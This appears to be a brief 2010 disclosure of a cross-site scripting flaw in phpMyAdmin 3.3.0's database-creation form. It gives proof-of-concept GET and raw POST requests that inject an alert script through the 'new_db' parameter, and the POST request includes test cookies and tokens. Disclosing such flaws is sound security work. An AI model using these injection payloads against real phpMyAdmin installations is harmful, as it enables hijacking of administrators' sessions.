there is a xss in phpmyadmin 3.3.0 when we create new database in interface, the "new_db" parameter do not filter characters when users enter. attacker can enter malicious code, like "<script>alert(/liscker/);</script>". it also can be true in post and get. but in post, we can not encode xss code, or , the xss will faild. For example: GET: http://localhost/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation= POST: POST /phpmyadmin/db_create.php HTTP/1.1 Accept: */* Referer: http://localhost/phpmyadmin/db_create.php Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Host: localhost Content-Length: 123 Connection: Keep-Alive Cache-Control: no-cache Cookie: phpMyAdmin=95830e770d0f213c04d63b623940f46f95c6f571; pma_lang=en-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pmaUser-1=Hfd255%2Bp2dc%3D; pma_navi_width=200; pmaPass-1=MlPzQC8J2iY%3D; pma_fontsize=82%25; pma_theme=original token=759f7a380111a292995ec447408bbdb3&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation= When you test, please replace the session "759f7a380111a292995ec447408bbdb3" with yourself. I suggest to test it in interface. Liscker 2010.03.12
